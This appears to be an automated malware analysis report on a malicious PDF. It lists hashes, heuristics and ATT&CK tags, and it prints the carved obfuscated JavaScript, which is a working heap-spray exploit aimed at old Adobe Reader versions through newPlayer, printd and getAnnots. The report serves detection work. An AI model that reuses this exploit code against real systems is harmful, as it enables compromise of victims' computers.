Malicious PDF — malware analysis report

Static analysis result for SHA-256 7ed2eccb9efaa6b4…

MALICIOUS

PDF

19.8 KB Created: 2009-12-17 03:14:38 +08:00 Authoring application: PScript5.dll Version 5.2 (via Acrobat Distiller 7.0.5 (Windows)) First seen: 2013-07-25
MD5: a9ef72e9a92dca984e799942a6783b44 SHA-1: be4b18d232c1cd035993b32439f8530f6a61396f SHA-256: 7ed2eccb9efaa6b46471ada73fdb90d902cfbab4faf3ad6c82b4b098f57aaca7
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF file contains obfuscated JavaScript that performs a heap spray, indicated by the 'PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY' heuristic. The script uses `unescape` and `getAnnots` APIs, and the recovered de-obfuscated string ` egistry\ un est` suggests an attempt to establish persistence or execute a payload. The ML classifier also flagged the PDF as malicious with high confidence.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9995

Heuristics 7

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY
    PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/xhtml In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0034_000.js pdf-javascript-stream PDF /JS object 34 at offset 0x3819 8613 bytes
SHA-256: e22d2e7cc7bef62a81c4eedab51ddd2f61ee6034e323c81f582813b7eb18dec2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var asdfghjklasdfghjklasdfghjkl = app.viewerVersion;
var qazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfv = unescape;
var sasasdfdsewrewrewrwerewrewrewrrewrewrewrew=Array;
var dagewrwerwedsfdsfdsfdsfdsxcvewrer = null;

var lkjlkdsfkjlewrkjlewrlewrjkelwjrklejrkljewrlkjewrklsdfjdlksjflkddsfpoiuwersdfdsfsdxfdsfsxcvcxvdsfdfewzvvxcv = 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754017\x25\x75a2a2\x25\x755da2\x25\x758af7\x25\x753729\x25\x75a250\x25\x75a2a2\x25\x75378b\x25\x75a248\x25\x75a2a2\x25\x751f21\x25\x75a248\x25\x75a2a2\x25\x75ada2\x25\x75d82d\x25\x755d5d\x25\x755d5d\x25\x754017\x25\x75a2a2\x25\x755da2\x25\x75a2f7\x25\x753261"); //1
var xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr = qazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfv("\x25\x75\x30\x630\x63\x25\x75\x30\x630\x63"); //2
var wwsfsdfdsfxcfsjkljlsfjklewriopsdfdsfkjkljsfsdxvcdsfewrewrsdfsczfsdfwepooiwerewrewrewrsdfsdfxcvxcvcxvsdfewrewrewfsdkhjiyuzxvc = qazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfv("\x25\x750c\x30c\x25\x750c0c\x25\x750c\x30c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c%u4141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141");

while(xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr.length <= 33768) xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr+=xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr;
xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr = xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr.substring(0,33768 - lkjlkdsfkjlewrkjlewrlewrjkelwjrklejrkljewrlkjewrklsdfjdlksjflkddsfpoiuwersdfdsfsdxfdsfsxcvcxvdsfdfewzvvxcv.length);
me=new sasasdfdsewrewrewrwerewrewrewrrewrewrewrew();
for(poqwewiruewursdssf=0;poqwewiruewursdssf<0x888;poqwewiruewursdssf++) {
	me[poqwewiruewursdssf]= xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr + lkjlkdsfkjlewrkjlewrlewrjkelwjrklejrkljewrlkjewrklsdfjdlksjflkddsfpoiuwersdfdsfsdxfdsfsxcvcxvdsfdfewzvvxcv;
}

if(((asdfghjklasdfghjklasdfghjkl >= 8.0) && (asdfghjklasdfghjklasdfghjkl <= 8.107)) || ((asdfghjklasdfghjklasdfghjkl >= 9.0) && (asdfghjklasdfghjklasdfghjkl <= 9.2)))
{    
   try {this["\x6de\x64i\x61"]["\x6ee\x77P\x6ca\x79e\x72"](dagewrwerwedsfdsfdsfdsfdsxcvewrer);} catch(er) {qazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfv("\x25\x750c\x30c\x25\x750c\x30c\x25\x750c\x30c\x25\x750c\x30c\x25\x750c\x30c\x25\x750c\x30c");util["\x70r\x69n\x74d"](wwsfsdfdsfxcfsjkljlsfjklewriopsdfdsfkjkljsfsdxvcdsfewrewrsdfsczfsdfwepooiwerewrewrewrsdfsdfxcvxcvcxvsdfewrewrewfsdkhjiyuzxvc, new Date());}
}
else if((asdfghjklasdfghjklasdfghjkl >= 7.0) && (asdfghjklasdfghjklasdfghjkl <= 7.101))
{    
    var qwertyuiopasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjkl = -1023217728;
    this.getAnnots({nFilterBy:qwertyuiopasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjkl});
}

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